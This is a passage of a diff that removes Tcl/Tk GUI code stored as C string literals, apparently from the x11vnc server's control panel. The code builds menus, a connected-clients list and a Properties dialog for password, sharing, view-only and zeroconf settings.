-" query_all 1\n"
-" update\n"
-"\n"
-" set saw 0\n"
-" set casc $item_cascade(current)\n"
-" set last [$casc index end]\n"
-" for {set i 0} {$i <= $last} {incr i} {\n"
-" if {[$casc type $i] == \"separator\"} {\n"
-" continue\n"
-" }\n"
-" set name [$casc entrycget $i -label]\n"
-" if {[regexp {^num-clients} $name]} {\n"
-" continue\n"
-" }\n"
-" if {[regexp {^refresh-list} $name]} {\n"
-" continue\n"
-" }\n"
-" if {! $saw} {\n"
-" append_text \"\\n\"\n"
-" }\n"
-" set saw 1\n"
-" append_text \"client: $name\\n\"\n"
-" }\n"
-" if {! $saw} {\n"
-" append_text \"done.\\n\"\n"
-" }\n"
-"}\n"
-"\n"
-"proc update_clients_menu {list} {\n"
-" global item_cascade ffont\n"
-" global saved_clients_str\n"
-"\n"
-" if {![info exists saved_clients_str]} {\n"
-" set saved_clients_str \"\"\n"
-" }\n"
-" if {$list == \"INIT\"} {\n"
-" set list $saved_clients_str\n"
-" } else {\n"
-" set saved_clients_str $list\n"
-" }\n"
-"\n"
-" set subm $item_cascade(current);\n"
-" catch {destroy $subm}\n"
-" menu $subm -tearoff 0 -font $ffont\n"
-" $subm add command\n"
-" $subm add command -label \"refresh-list\" \\\n"
-" -command \"update_clients_and_repost\"\n"
-" $subm add separator\n"
-" set count 0\n"
-" foreach client [split $list \",\"] {\n"
-" if {![regexp {^[a-z0-9]*[a-z0-9]:} $client]} {\n"
-" #append_text \"Skipping client line: \"\n"
-" #append_text $client\n"
-" #append_text \"\\n\"\n"
-" continue\n"
-" }\n"
-" regsub -all {[{}()~!$&*|;'\"`{}<>\\[\\]]} $client \"\" client\n"
-" #'\n"
-" if {[regexp {^(.*):(.*):(.*):(.*):(.*):(.*):(.*):(.*):(.*)$} \\\n"
-" $client m0 m1 m2 m3 m4 m5 m6 m7 m8 m9]} {\n"
-" set id $m1\n"
-" set user $m4\n"
-" set unix $m5\n"
-" set host $m6\n"
-" regsub {\\..*$} $host \"\" host\n"
-" set clabel \"$host $id\"\n"
-" if {$unix != \"\" && $unix != \"none\"} {\n"
-" set clabel \"$unix@$clabel\"\n"
-" } elseif {$user != \"unknown-user\"} {\n"
-" set clabel \"$user@$clabel\"\n"
-" }\n"
-" } else {\n"
-" regsub {:.*$} $client \"\" clabel\n"
-" }\n"
-" $subm add command -label \"$clabel\" \\\n"
-" -command \"client_dialog \\{$client\\}\"\n"
-" incr count\n"
-" }\n"
-" $subm entryconfigure 0 -label \"num-clients: $count\"\n"
-"}\n"
-"\n"
-"proc set_widgets {} {\n"
-" global connected_to_x11vnc item_case item_menu item_entry menu_m\n"
-"\n"
-" foreach item [array names item_case] {\n"
-" if ![info exists item_case($item)] { continue; }\n"
-" set case $item_case($item)\n"
-" if ![info exists item_menu($item)] { continue; }\n"
-" set menu $item_menu($item)\n"
-" if ![info exists item_entry($item)] { continue; }\n"
-" set entry $item_entry($item)\n"
-" if {$entry < 0} {\n"
-" # skip case under beginner_mode \n"
-" continue\n"
-" }\n"
-" set type [$menu type $entry]\n"
-" if {$type == \"separator\" || $type == \"tearoff\"} {\n"
-" continue\n"
-" }\n"
-" if {![winfo exists $menu]} {\n"
-" continue\n"
-" }\n"
-" if {$connected_to_x11vnc} {\n"
-" if {[active_when_connected $item]} {\n"
-" $menu entryconfigure $entry -state normal\n"
-" } else {\n"
-" $menu entryconfigure $entry -state disabled\n"
-" }\n"
-" } else {\n"
-" if {[active_when_starting $item]} {\n"
-" $menu entryconfigure $entry -state normal\n"
-" } else {\n"
-" $menu entryconfigure $entry -state disabled\n"
-" }\n"
-" }\n"
-" }\n"
-"}\n"
-"\n"
-"proc toggle_simple_gui {} {\n"
-" global beginner_mode simple_gui_created\n"
-" global connected_to_x11vnc make_gui_count\n"
-"\n"
-" if {$beginner_mode} {\n"
-" append_text \"\\nSwitching to simple-gui mode.\\n\"\n"
-" } else {\n"
-" append_text \"\\nSwitching to power-user gui mode.\\n\"\n"
-" }\n"
-"\n"
-" if {$make_gui_count == 1} {\n"
-" incr make_gui_count\n"
-" }\n"
-" set simple_gui_created 1\n"
-" make_menu_items\n"
-" set_widgets\n"
-" set_internal_help\n"
-" append_text \"\\n\"\n"
-"}\n"
-"\n"
-"proc little_qs {m} {\n"
-" global bfont ffont beginner_mode\n"
-" global helpremote helptext helplabel\n"
-" global tk_version osname\n"
-"\n"
-" if {$tk_version < 8.0} {\n"
-" return\n"
-" }\n"
-" if {$osname == \"Darwin\"} {\n"
-" return\n"
-" }\n"
-"\n"
-" set n [$m index end]\n"
-"\n"
-" for {set i 0} {$i <= $n} {incr i} {\n"
-" set type [$m type $i]\n"
-"#puts \"$m - $i - $type\"\n"
-" if {$type == \"separator\"} {\n"
-" $m add separator\n"
-" } elseif {$type == \"tearoff\"} {\n"
-" continue;\n"
-" } else {\n"
-" set label [$m entrycget $i -label]\n"
-" set str \"\"\n"
-" if {[info exists helpremote($label)]} {\n"
-" set str \"(?)\"\n"
-" } elseif {[info exists helptext($label)]} {\n"
-" set str \"(?)\"\n"
-" }\n"
-" $m add command -label $str \\\n"
-" -font $ffont \\\n"
-" -command \"menu_help $label\";\n"
-"\n"
-" if {$str == \"\"} {\n"
-" $m entryconfigure end -state disabled\n"
-" }\n"
-" set arg \"$m,$i\"\n"
-"#puts \"helplabel: $arg -> $label\"\n"
-" set helplabel($arg) $label\n"
-" set j [$m index end]\n"
-" set arg \"$m,$j\"\n"
-" set helplabel($arg) $label\n"
-" }\n"
-" if {$i == 0} {\n"
-" $m entryconfigure end -columnbreak 1\n"
-" }\n"
-" }\n"
-"\n"
-" menu_bindings $m\n"
-"}\n"
-"\n"
-"proc make_menu_items {} {\n"
-" global template \n"
-" global menu_b menu_m menu_count\n"
-" global item_opts item_bool item_case item_menu item_entry menu_var unset_str\n"
-" global item_cascade\n"
-" global bfont ffont beginner_mode simple_gui_created\n"
-" global helptext helpremote helplabel\n"
-"\n"
-" # some tweaks...\n"
-" if {![info exists menu_var(deny)]} {\n"
-" set menu_var(deny) 0\n"
-" }\n"
-"\n"
-" set case \"\";\n"
-" set L_casc \"\"\n"
-" set L_casc_count 0\n"
-" set L_menus [list]\n"
-"\n"
-" # Extract the menu items:\n"
-" foreach line [split $template \"\\n\"] {\n"
-" if {[regexp {^Row:} $line]} {\n"
-" continue\n"
-" }\n"
-" if {[regexp {^[A-z]} $line]} {\n"
-" set case [string trim $line]\n"
-"\n"
-" if {$simple_gui_created} {\n"
-" set i0 0\n"
-" #if {$case == \"Misc\"} { # kludge for simple_gui\n"
-" # set i0 1\n"
-" #}\n"
-" catch {$menu_m($case) delete $i0 end}\n"
-" }\n"
-" set menu_count($case) 0\n"
-" continue;\n"
-" }\n"
-"\n"
-" set item [string trim $line]\n"
-" regsub -all { *} $item \" \" item\n"
-" if {$item == \"\"} {\n"
-" continue;\n"
-" }\n"
-" set opts \"\"\n"
-" if {[regexp {^=} $item]} {\n"
-" set opts [lindex [split $item] 0]\n"
-" regsub {^=} $opts \"\" opts\n"
-" set item [lindex [split $item] 1]\n"
-" }\n"
-" if {[regexp {^0} $opts]} {\n"
-" continue;\n"
-" }\n"
-" if {[regexp {:$} $item]} {\n"
-" set bool 0\n"
-" } else {\n"
-" set bool 1\n"
-" }\n"
-" regsub {:$} $item {} item\n"
-"\n"
-" if {$item == \"LOFF\"} {\n"
-" set L_casc \"\"\n"
-" continue\n"
-" }\n"
-"\n"
-" if {$item == \"-- D\"} {\n"
-" set beginner_sep 1\n"
-" set item \"--\"\n"
-" } else {\n"
-" set beginner_sep 0\n"
-" }\n"
-"\n"
-" set item_opts($item) $opts\n"
-" set item_case($item) $case\n"
-" set item_bool($item) $bool\n"
-" set item_cascade($item) \"\"\n"
-"\n"
-" if {$L_casc == \"\"} {\n"
-" set item_entry($item) $menu_count($case)\n"
-" set m $menu_m($case)\n"
-" } else {\n"
-" # hack for cascades for crowded menus. See =GAL opts.\n"
-" set item_entry($item) $L_casc_count\n"
-" set m $L_casc\n"
-" }\n"
-"\n"
-" set mvar 0 \n"
-"\n"
-" if {$beginner_mode && ! $beginner_sep && ![opt_match D $item]} {\n"
-" set item_entry($item) \"-1\"\n"
-" continue;\n"
-" }\n"
-"\n"
-" set item_menu($item) $m\n"
-"\n"
-" if {0} { puts \"ITEM: $item\\t- $opts\\t- $case\\t- \\\n"
-" $bool\\t- $menu_count($case)\" }\n"
-"\n"
-" # Create the menu items, its variables, etc., etc.\n"
-"\n"
-" if {$item == \"--\"} {\n"
-" $m add separator\n"
-"\n"
-" } elseif {$item == \"Quit\"} {\n"
-" # Quit item must shut us down:\n"
-" $m add command -label \"$item\" -underline 0 \\\n"
-" -font $ffont \\\n"
-" -command {destroy .; exit 0}\n"
-"\n"
-" } elseif {$case == \"Help\"} {\n"
-" # Help is simple help:\n"
-" $m add command -label \"$item\" \\\n"
-" -font $ffont \\\n"
-" -command \"menu_help $item\"\n"
-"\n"
-" } elseif {[opt_match L $item]} {\n"
-" # Special sub-menu cascade (=GAL ends with LOFF)\n"
-" set subm $m.casc_L$menu_count($case)\n"
-" catch {destroy $subm}\n"
-" menu $subm -tearoff 0 -font $ffont\n"
-" set item_cascade($item) $subm\n"
-" $m add cascade -label \"$item\" \\\n"
-" -font $ffont \\\n"
-" -menu $subm\n"
-" set L_casc $subm\n"
-" set L_casc_count -1\n"
-" lappend L_menus $L_casc\n"
-"\n"
-" } elseif {$item == \"current\"} {\n"
-" # Current clients cascade\n"
-" set subm $m.current_cascade\n"
-" catch {destroy $subm}\n"
-" set item_cascade($item) $subm\n"
-" update_clients_menu \"INIT\"\n"
-" $m add cascade -label \"$item\" \\\n"
-" -font $ffont \\\n"
-" -menu $subm\n"
-"\n"
-" } elseif {[is_action $item]} {\n"
-" # Action\n"
-" $m add command -label \"$item\" \\\n"
-" -font $ffont \\\n"
-" -command \"do_var $item\"\n"
-" if {![info exists menu_var($item)]} {\n"
-" set menu_var($item) \"\"; # for convenience\n"
-" }\n"
-"\n"
-" } elseif {! $item_bool($item)} {\n"
-" # String\n"
-" if {[regexp -- {-C:(.*)} $item_opts($item) m0 m1]} {\n"
-" # Radiobutton select\n"
-" set subm $m.radio_cascade$menu_count($case)\n"
-" catch {destroy $subm}\n"
-" menu $subm -tearoff 0 -font $ffont\n"
-" foreach val [split $m1 \",\"] {\n"
-" $subm add radiobutton -label \"$val\" \\\n"
-" -command \"do_var $item\" \\\n"
-" -value \"$val\" \\\n"
-" -font $ffont \\\n"
-" -variable menu_var($item)\n"
-" }\n"
-" $m add cascade -label \"$item\" \\\n"
-" -font $ffont \\\n"
-" -menu $subm\n"
-" set item_cascade($item) $subm\n"
-" } else {\n"
-" # Arbitrary_string\n"
-" $m add command -label \"$item\" \\\n"
-" -font $ffont \\\n"
-" -command \"do_var $item\"\n"
-" }\n"
-" set mvar 1\n"
-"\n"
-" } elseif {$item == \"simple-gui\"} {\n"
-" $m add checkbutton -label \"$item\" \\\n"
-" -command \"toggle_simple_gui\" \\\n"
-" -font $ffont \\\n"
-" -variable beginner_mode\n"
-" } else {\n"
-" # Boolean\n"
-" $m add checkbutton -label \"$item\" \\\n"
-" -command \"do_var $item\" \\\n"
-" -font $ffont \\\n"
-" -variable menu_var($item)\n"
-" if {![info exists menu_var($item)]} {\n"
-" set menu_var($item) 0\n"
-" }\n"
-" }\n"
-"\n"
-" if {$L_casc_count == -1} {\n"
-" incr menu_count($case)\n"
-" incr L_casc_count\n"
-" } elseif {$L_casc != \"\"} {\n"
-" incr L_casc_count\n"
-" } else {\n"
-" incr menu_count($case)\n"
-" }\n"
-"\n"
-" if {$mvar} {\n"
-" if {![info exists menu_var($item)]} {\n"
-" set menu_var($item) $unset_str\n"
-" }\n"
-" }\n"
-" }\n"
-"\n"
-" # Now make the little \"(?)\" help buttons\n"
-" global osname\n"
-" foreach case [array names menu_m] {\n"
-" if {$case == \"Help\"} {\n"
-" continue;\n"
-" }\n"
-" little_qs $menu_m($case);\n"
-" }\n"
-" foreach m $L_menus {\n"
-" little_qs $m\n"
-" }\n"
-"}\n"
-"\n"
-"proc check_update_vars {} {\n"
-" global last_query_all_time query_all_freq icon_mode\n"
-" global connected_to_x11vnc client_tail client_sock\n"
-"\n"
-" set now [clock seconds]\n"
-"\n"
-" set delay $query_all_freq\n"
-" if {$client_tail != \"\" && $client_sock == \"\"} {\n"
-" set delay [expr 2 * $query_all_freq]\n"
-" }\n"
-"\n"
-" if {$connected_to_x11vnc} {\n"
-" set quiet 0\n"
-" set refresh [expr \"$last_query_all_time + $delay\"]\n"
-"\n"
-" # puts \"menu_posted $now $last_query_all_time\"\n"
-" # puts \"menu_posted $refresh\"\n"
-"\n"
-" if {$now > $refresh} {\n"
-" append_text \"Refreshing current settings... \"\n"
-" query_all $quiet\n"
-" if {$quiet} {\n"
-" append_text \"done\\n\"\n"
-" }\n"
-" }\n"
-" }\n"
-"}\n"
-"\n"
-"proc menu_posted {} {\n"
-" check_update_vars\n"
-"}\n"
-"\n"
-"proc props_widgets {state} {\n"
-" global props_buttons\n"
-" foreach w $props_buttons {\n"
-" $w configure -state $state \n"
-" }\n"
-" update\n"
-"}\n"
-"\n"
-"proc props_apply {} {\n"
-" global props_accept props_confirm props_viewonly props_shared \n"
-" global props_zeroconf props_javaview props_solid\n"
-" global props_passwd props_viewpasswd\n"
-" global prop0_accept prop0_confirm prop0_viewonly prop0_shared\n"
-" global prop0_zeroconf prop0_javaview prop0_solid\n"
-" global prop0_passwd prop0_viewpasswd\n"
-" global menu_var\n"
-" global client_sock\n"
-"\n"
-" props_widgets disabled\n"
-"\n"
-" set aft 500\n"
-" if {[info exists client_sock]} {\n"
-" if {$client_sock != \"\"} {\n"
-" set aft 150\n"
-" }\n"
-" }\n"
-" set did 0\n"
-"\n"
-" set fail 0\n"
-"\n"
-" if {$props_confirm != $prop0_confirm} {\n"
-" if {$did > 0} {after $aft}; incr did\n"
-" if {$props_confirm} {\n"
-" push_new_value \"accept\" \"accept\" \"popup\" 1\n"
-" } else {\n"
-" push_new_value \"accept\" \"accept\" \"\" 1\n"
-" }\n"
-" if {$menu_var(accept) == \"popup\"} {\n"
-" set props_confirm 1\n"
-" } elseif {$menu_var(accept) == \"\"} {\n"
-" set props_confirm 0\n"
-" }\n"
-" if {$props_confirm == $prop0_confirm} {incr fail}\n"
-" set prop0_confirm $props_confirm\n"
-" }\n"
-"\n"
-" if {$props_viewonly != $prop0_viewonly} {\n"
-" if {$did > 0} {after $aft}; incr did\n"
-" if {$props_viewonly} {\n"
-" push_new_value \"viewonly\" \"viewonly\" 1 1\n"
-" } else {\n"
-" push_new_value \"viewonly\" \"noviewonly\" 1 1\n"
-" }\n"
-" if {$menu_var(viewonly)} {\n"
-" set props_viewonly 1\n"
-" } else {\n"
-" set props_viewonly 0\n"
-" }\n"
-" if {$props_viewonly == $prop0_viewonly} {incr fail}\n"
-" set prop0_viewonly $props_viewonly\n"
-" }\n"
-"\n"
-" if {$props_shared != $prop0_shared} {\n"
-" if {$did > 0} {after $aft}; incr did\n"
-" if {$props_shared} {\n"
-" push_new_value \"shared\" \"shared\" 1 1\n"
-" } else {\n"
-" push_new_value \"shared\" \"noshared\" 1 1\n"
-" }\n"
-" if {$menu_var(shared)} {\n"
-" set props_shared 1\n"
-" } else {\n"
-" set props_shared 0\n"
-" }\n"
-" if {$props_shared == $prop0_shared} {incr fail}\n"
-" set prop0_shared $props_shared\n"
-" }\n"
-"\n"
-" if {$props_zeroconf != $prop0_zeroconf} {\n"
-" if {$did > 0} {after $aft}; incr did\n"
-" if {$props_zeroconf} {\n"
-" push_new_value \"zeroconf\" \"zeroconf\" 1 1\n"
-" } else {\n"
-" push_new_value \"zeroconf\" \"nozeroconf\" 1 1\n"
-" }\n"
-" if {$menu_var(zeroconf)} {\n"
-" set props_zeroconf 1\n"
-" } else {\n"
-" set props_zeroconf 0\n"
-" }\n"
-" if {$props_zeroconf == $prop0_zeroconf} {incr fail}\n"
-" set prop0_zeroconf $props_zeroconf\n"
-" }\n"
-"\n"
-" if {$props_javaview != $prop0_javaview} {\n"
-" if {$did > 0} {after $aft}; incr did\n"
-" if {$props_javaview} {\n"
-" push_new_value \"http\" \"http\" 1 1\n"
-" } else {\n"
-" push_new_value \"http\" \"nohttp\" 1 1\n"
-" }\n"
-" if {$menu_var(http)} {\n"
-" set props_javaview 1\n"
-" } else {\n"
-" set props_javaview 0\n"
-" }\n"
-" if {$props_javaview == $prop0_javaview} {incr fail}\n"
-" set prop0_javaview $props_javaview\n"
-" }\n"
-"\n"
-" if {$props_solid != $prop0_solid} {\n"
-" if {$did > 0} {after $aft}; incr did\n"
-" if {$props_solid} {\n"
-" push_new_value \"solid\" \"solid\" 1 1\n"
-" } else {\n"
-" push_new_value \"solid\" \"nosolid\" 1 1\n"
-" }\n"
-" if {$menu_var(solid)} {\n"
-" set props_solid 1\n"
-" } else {\n"
-" set props_solid 0\n"
-" }\n"
-" if {$props_solid == $prop0_solid} {incr fail}\n"
-" set prop0_solid $props_solid\n"
-" }\n"
-"\n"
-" set fpw 0\n"
-" if {$props_passwd != $prop0_passwd} {\n"
-" set fpw 1\n"
-" }\n"
-" set vpw 0\n"
-" if {$props_viewpasswd != $prop0_viewpasswd} {\n"
-" set vpw 1\n"
-" }\n"
-"\n"
-" set pw_ord [list]\n"
-" if {!$fpw && !$vpw } {\n"
-" # neither change\n"
-" ;\n"
-" } elseif {$fpw && !$vpw} {\n"
-" # full password change\n"
-" if {$props_passwd == \"\"} {\n"
-" if {$prop0_viewpasswd != \"\"} {\n"
-" # set view to \"\" as well and first\n"
-" set props_viewpasswd \"\"\n"
-" set pw_ord [list vpw fpw]\n"
-" } else {\n"
-" set pw_ord [list fpw]\n"
-" }\n"
-" } else {\n"
-" # assume view state OK\n"
-" set pw_ord [list fpw]\n"
-" }\n"
-" \n"
-" } elseif {!$fpw && $vpw} {\n"
-" # view password change\n"
-" if {$props_viewpasswd == \"\"} {\n"
-" # assume full state OK\n"
-" set pw_ord [list vpw]\n"
-" } else {\n"
-" if {$prop0_passwd == \"\"} {\n"
-" # could be trouble, x11vnc makes random\n"
-" # full passwd...\n"
-" set pw_ord [list vpw]\n"
-" } else {\n"
-" # OK, full non-null.\n"
-" set pw_ord [list vpw]\n"
-" }\n"
-" }\n"
-" } elseif {$fpw && $vpw} {\n"
-" # both full and view password change\n"
-" if {$props_passwd == \"\" && $props_viewpasswd == \"\"} {\n"
-" # OK, do view first\n"
-" set pw_ord [list vpw fpw]\n"
-" } elseif {$props_passwd == \"\" && $props_viewpasswd != \"\"} {\n"
-" # Not good, do view first anyway x11vnc will fix.\n"
-" set pw_ord [list vpw fpw]\n"
-" } elseif {$props_passwd != \"\" && $props_viewpasswd == \"\"} {\n"
-" # OK, view first\n"
-" set pw_ord [list vpw fpw]\n"
-" } elseif {$props_passwd != \"\" && $props_viewpasswd != \"\"} {\n"
-" # OK, full first\n"
-" set pw_ord [list fpw vpw]\n"
-" }\n"
-" }\n"
-"\n"
-" foreach case $pw_ord {\n"
-" if {$case == \"fpw\"} {\n"
-" if {$did > 0} {after $aft}; incr did\n"
-" push_new_value \"passwd\" \"passwd\" \"$props_passwd\" 1\n"
-" if {$props_passwd == $prop0_passwd} {incr fail}\n"
-" set prop0_passwd $props_passwd\n"
-" }\n"
-" if {$case == \"vpw\"} {\n"
-" if {$did > 0} {after $aft}; incr did\n"
-" push_new_value \"viewpasswd\" \"viewpasswd\" \"$props_viewpasswd\" 1\n"
-" if {$props_viewpasswd == $prop0_viewpasswd} {incr fail}\n"
-" set prop0_viewpasswd $props_viewpasswd\n"
-" }\n"
-" }\n"
-"\n"
-" if {$props_accept != $prop0_accept} {\n"
-" if {$did > 0} {after $aft}; incr did\n"
-" if {$props_accept} {\n"
-" push_new_value \"unlock\" \"unlock\" 1 0\n"
-" } else {\n"
-" push_new_value \"lock\" \"lock\" 1 0\n"
-" }\n"
-" if {$props_accept == $prop0_accept} {incr fail}\n"
-" set prop0_accept $props_accept\n"
-" }\n"
-"\n"
-" props_widgets normal\n"
-" if {$fail > 0} {\n"
-" return 0\n"
-" } else {\n"
-" return 1\n"
-" }\n"
-"}\n"
-"\n"
-"proc props_advanced {} {\n"
-" global icon_mode props_win full_win\n"
-" global props_advanced_first\n"
-"\n"
-" if ![info exists props_advanced_first] {\n"
-" center_win $full_win\n"
-" set props_advanced_first 1\n"
-" set first 1\n"
-" } else {\n"
-" set first 0\n"
-" }\n"
-" update\n"
-" wm deiconify $full_win\n"
-" update\n"
-"\n"
-" if {$first} {\n"
-" set w $full_win\n"
-" wm minsize $w [winfo width $w] [winfo height $w]\n"
-" }\n"
-" push_new_value \"remote-cmd\" \"remote-cmd\" \"Q:clients\" 1\n"
-"}\n"
-"\n"
-"proc do_props {} {\n"
-" global props_accept props_confirm props_viewonly props_shared\n"
-" global props_zeroconf props_javaview props_solid\n"
-" global props_passwd props_viewpasswd\n"
-" global prop0_accept prop0_confirm prop0_viewonly prop0_shared\n"
-" global prop0_zeroconf prop0_javaview prop0_solid\n"
-" global prop0_passwd prop0_viewpasswd\n"
-" global menu_var unset_str\n"
-" global have_labelframes ffont bfont\n"
-" global props_buttons icon_noadvanced\n"
-" global icon_mode icon_mode_at_startup\n"
-" global screen_height screen_width\n"
-" global do_props_msg\n"
-"\n"
-" set msg \"\"\n"
-" if {[info exists do_props_msg]} {\n"
-" set msg $do_props_msg\n"
-" }\n"
-"\n"
-" check_update_vars\n"
-"\n"
-" set pady 0.5m\n"
-" set pady 0.3m\n"
-" if {$screen_height <= 360} {\n"
-" set pady 0m\n"
-" }\n"
-"\n"
-" if [info exists menu_var(deny)] {\n"
-" if {$menu_var(deny) == $unset_str || $menu_var(deny) == 0} {\n"
-" set props_accept 1\n"
-" } else {\n"
-" set props_accept 0\n"
-" }\n"
-" } else {\n"
-" set menu_var(deny) 0\n"
-" set props_accept 1\n"
-" }\n"
-" set prop0_accept $props_accept\n"
-"\n"
-" if [info exists menu_var(accept)] {\n"
-" if {$menu_var(accept) == $unset_str || $menu_var(accept) == \"\"} {\n"
-" set props_confirm 0\n"
-" } else {\n"
-" set props_confirm 1\n"
-" }\n"
-" } else {\n"
-" set menu_var(accept) \"\"\n"
-" set props_confirm 0\n"
-" }\n"
-" set prop0_confirm $props_confirm\n"
-"\n"
-" if [info exists menu_var(viewonly)] {\n"
-" if {$menu_var(viewonly) == $unset_str || $menu_var(viewonly) == \"\"} {\n"
-" set props_viewonly 0\n"
-" } elseif ($menu_var(viewonly)) {\n"
-" set props_viewonly 1\n"
-" } else {\n"
-" set props_viewonly 0\n"
-" }\n"
-" } else {\n"
-" set menu_var(viewonly) 0\n"
-" set props_viewonly 0\n"
-" }\n"
-" set prop0_viewonly $props_viewonly\n"
-"\n"
-" if [info exists menu_var(shared)] {\n"
-" if {$menu_var(shared) == $unset_str || $menu_var(shared) == \"\"} {\n"
-" set props_shared 0\n"
-" } elseif ($menu_var(shared)) {\n"
-" set props_shared 1\n"
-" } else {\n"
-" set props_shared 0\n"
-" }\n"
-" } else {\n"
-" set menu_var(shared) 0\n"
-" set props_shared 0\n"
-" }\n"
-" set prop0_shared $props_shared\n"
-"\n"
-" if [info exists menu_var(zeroconf)] {\n"
-" if {$menu_var(zeroconf) == $unset_str || $menu_var(zeroconf) == \"\"} {\n"
-" set props_zeroconf 0\n"
-" } elseif ($menu_var(zeroconf)) {\n"
-" set props_zeroconf 1\n"
-" } else {\n"
-" set props_zeroconf 0\n"
-" }\n"
-" } else {\n"
-" set menu_var(zeroconf) 0\n"
-" set props_zeroconf 0\n"
-" }\n"
-" set prop0_zeroconf $props_zeroconf\n"
-"\n"
-" if [info exists menu_var(http)] {\n"
-" if {$menu_var(http) == $unset_str || $menu_var(http) == \"\"} {\n"
-" set props_javaview 0\n"
-" } elseif ($menu_var(http)) {\n"
-" set props_javaview 1\n"
-" } else {\n"
-" set props_javaview 0\n"
-" }\n"
-" } else {\n"
-" set menu_var(http) 0\n"
-" set props_javaview 0\n"
-" }\n"
-" set prop0_javaview $props_javaview\n"
-"\n"
-" if [info exists menu_var(solid)] {\n"
-" if {$menu_var(solid) == $unset_str || $menu_var(solid) == \"\"} {\n"
-" set props_solid 0\n"
-" } elseif ($menu_var(solid)) {\n"
-" set props_solid 1\n"
-" } else {\n"
-" set props_solid 0\n"
-" }\n"
-" } else {\n"
-" set menu_var(solid) 0\n"
-" set props_solid 0\n"
-" }\n"
-" set prop0_solid $props_solid\n"
-"\n"
-" if ![info exists props_passwd] {\n"
-" set props_passwd \"\"\n"
-" }\n"
-" set prop0_passwd $props_passwd\n"
-"\n"
-" if ![info exists props_viewpasswd] {\n"
-" set props_viewpasswd \"\"\n"
-" }\n"
-" set prop0_viewpasswd $props_viewpasswd\n"
-"\n"
-" if [info exists props_buttons] {\n"
-" catch {unset props_buttons}\n"
-" }\n"
-" set props_buttons [list]\n"
-"\n"
-" set wp .props\n"
-" set w $wp\n"
-" catch {destroy $wp}\n"
-" toplevel $wp\n"
-" wm title $wp \"x11vnc Properties\"\n"
-" frame $w.lf\n"
-" set w $w.lf\n"
-" set b1 \"$w.buttons1\"\n"
-" frame $b1\n"
-" button $b1.ok -text OK -command \"if {\\[props_apply\\]} {destroy $wp}\" -font $bfont\n"
-" button $b1.cancel -text Cancel -command \"destroy $wp\" -font $bfont\n"
-" button $b1.apply -text Apply -command \"props_apply\" -font $bfont\n"
-"\n"
-" bind $w <KeyPress-Escape> \"destroy $wp\"\n"
-"\n"
-" pack $b1.ok $b1.cancel $b1.apply -side left -expand 0\n"
-" lappend props_buttons $b1.apply $b1.cancel $b1.ok\n"
-"\n"
-" set b2 \"$w.buttons2\"\n"
-" frame $b2\n"
-"\n"
-" button $b2.advanced -text \" Advanced ... \" \\\n"
-" -command \"destroy $wp; props_advanced\" -font $bfont\n"
-" if {! $icon_noadvanced} {\n"
-" lappend props_buttons $b2.advanced\n"
-" pack $b2.advanced -side left -expand 0\n"
-" }\n"
-"\n"
-" button $b2.help -text \" Help \" -command \"menu_help Properties\" -font $bfont\n"
-" lappend props_buttons $b2.help\n"
-" pack $b2.help -side left -expand 0\n"
-"\n"
-" set pw \"$w.passwd\"\n"
-" if {$have_labelframes} {\n"
-" labelframe $pw -text \"Password\" -font $bfont\n"
-" } else {\n"
-" frame $pw\n"
-" set l $pw.l\n"
-" label $l -text \"Password:\" -justify left -anchor w -font $bfont\n"
-" pack $pw.l -fill x -expand 1 -padx 1m -pady 0m -side top\n"
-" }\n"
-" entry $pw.e -show \"*\" -textvariable props_passwd -font $bfont\n"
-" pack $pw.e -fill x -expand 1 -padx 1m -pady $pady -side top\n"
-"\n"
-" global x11vnc_icon_mode\n"
-" if {! $x11vnc_icon_mode} {\n"
-" catch { $pw.e configure -state disabled}\n"
-" if {! $have_labelframes} {\n"
-" catch { $pw.l configure -state disabled}\n"
-" }\n"
-" } else {\n"
-" lappend props_buttons $pw.e\n"
-" }\n"
-"\n"
-"\n"
-" set vp \"$w.viewpw\"\n"
-" if {$have_labelframes} {\n"
-" labelframe $vp -text \"ViewOnly Password\" -font $bfont\n"
-" } else {\n"
-" frame $vp\n"
-" set l $vp.l\n"
-" label $l -text \"ViewOnly Password:\" -justify left -anchor w -font $bfont\n"
-" pack $vp.l -fill x -expand 1 -padx 1m -pady 0m -side top\n"
-" }\n"
-" entry $vp.e -show \"*\" -textvariable props_viewpasswd -font $bfont\n"
-" pack $vp.e -fill x -expand 1 -padx 1m -pady $pady -side top\n"
-"\n"
-" if {! $x11vnc_icon_mode} {\n"
-" catch { $vp.e configure -state disabled}\n"
-" if {! $have_labelframes} {\n"
-" catch { $vp.l configure -state disabled}\n"
-" }\n"
-" } else {\n"
-" lappend props_buttons $vp.e\n"
-" }\n"
-"\n"
-" if {! $icon_mode_at_startup} {\n"
-" $vp.e configure -state disabled\n"
-" catch {$vp.l configure -state disabled}\n"
-" catch {$vp configure -state disabled}\n"
-" catch {$vp configure -foreground grey60}\n"
-" $pw.e configure -state disabled\n"
-" catch {$pw.l configure -state disabled}\n"
-" catch {$pw configure -state disabled}\n"
-" catch {$pw configure -foreground grey60}\n"
-" }\n"
-"\n"
-" set sb \"$w.solid\"\n"
-" frame $sb\n"
-" checkbutton $sb.button -text \"Solid Background Color\" \\\n"
-" -variable props_solid -anchor w -font $bfont\n"
-" pack $sb.button -fill x -expand 1 -padx 1m -pady $pady\n"
-"\n"
-" set jv \"$w.javaview\"\n"
-" frame $jv\n"
-" checkbutton $jv.button -text \"Serve Java Viewer Applet\" \\\n"
-" -variable props_javaview -anchor w -font $bfont\n"
-" pack $jv.button -fill x -expand 1 -padx 1m -pady $pady\n"
-"\n"
-" set zc \"$w.zeroconf\"\n"
-" frame $zc\n"
-" checkbutton $zc.button -text \"Advertise Service (Zeroconf)\" \\\n"
-" -variable props_zeroconf -anchor w -font $bfont\n"
-" pack $zc.button -fill x -expand 1 -padx 1m -pady $pady\n"
-"\n"
-" set sh \"$w.shared\"\n"
-" frame $sh\n"
-" checkbutton $sh.button -text \"Shared\" \\\n"
-" -variable props_shared -anchor w -font $bfont\n"
-" pack $sh.button -fill x -expand 1 -padx 1m -pady $pady\n"
-"\n"
-" set vo \"$w.viewonly\"\n"
-" frame $vo\n"
-" checkbutton $vo.button -text \"All Clients ViewOnly\" \\\n"
-" -variable props_viewonly -anchor w -font $bfont\n"
-" pack $vo.button -fill x -expand 1 -padx 1m -pady $pady\n"
-"\n"
-" set cf \"$w.confirm\"\n"
-" frame $cf\n"
-" checkbutton $cf.button -text \"Ask for Confirmation\" \\\n"
-" -variable props_confirm -anchor w -font $bfont\n"
-" pack $cf.button -fill x -expand 1 -padx 1m -pady $pady\n"
-"\n"
-" set ac \"$w.accept\"\n"
